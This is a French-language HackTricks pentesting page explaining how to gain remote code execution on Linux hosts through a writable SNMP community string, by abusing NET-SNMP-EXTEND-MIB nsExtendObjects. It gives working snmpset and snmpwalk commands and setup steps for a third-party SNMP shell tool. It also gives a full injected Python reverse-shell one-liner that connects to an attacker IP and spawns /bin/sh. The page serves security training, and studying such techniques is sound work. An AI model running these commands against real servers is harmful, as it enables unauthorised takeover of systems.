hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

5.3 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

SNMP RCE

SNMP peut être exploité par un attaquant si l'administrateur néglige sa configuration par défaut sur le périphérique ou le serveur. En abusant de la communauté SNMP avec des autorisations d'écriture (rwcommunity) sur un système d'exploitation Linux, l'attaquant peut exécuter des commandes sur le serveur.

Extension des services avec des commandes supplémentaires

Pour étendre les services SNMP et ajouter des commandes supplémentaires, il est possible d'ajouter de nouvelles ** lignes à la table "nsExtendObjects"**. Cela peut être réalisé en utilisant la commande snmpset et en fournissant les paramètres nécessaires, y compris le chemin absolu vers l'exécutable et la commande à exécuter :

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Injection de commandes pour l'exécution

Injecter des commandes pour s'exécuter sur le service SNMP nécessite l'existence et l'exécutabilité du binaire/script appelé. Le NET-SNMP-EXTEND-MIB exige de fournir le chemin absolu vers l'exécutable.

Pour confirmer l'exécution de la commande injectée, la commande snmpwalk peut être utilisée pour énumérer le service SNMP. La sortie affichera la commande et ses détails associés, y compris le chemin absolu :

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Exécution des commandes injectées

Lorsque la commande injectée est lue, elle est exécutée. Ce comportement est connu sous le nom de run-on-read(). L'exécution de la commande peut être observée lors de la lecture de snmpwalk.

Obtenir un Shell Serveur avec SNMP

Pour prendre le contrôle du serveur et obtenir un shell serveur, un script Python développé par mxrch peut être utilisé à partir de https://github.com/mxrch/snmp-shell.git.

Alternativement, un shell inversé peut être créé manuellement en injectant une commande spécifique dans SNMP. Cette commande, déclenchée par le snmpwalk, établit une connexion de shell inversé vers la machine de l'attaquant, permettant de contrôler la machine victime. Vous pouvez installer le prérequis pour exécuter ceci:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Ou un shell inversé :

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: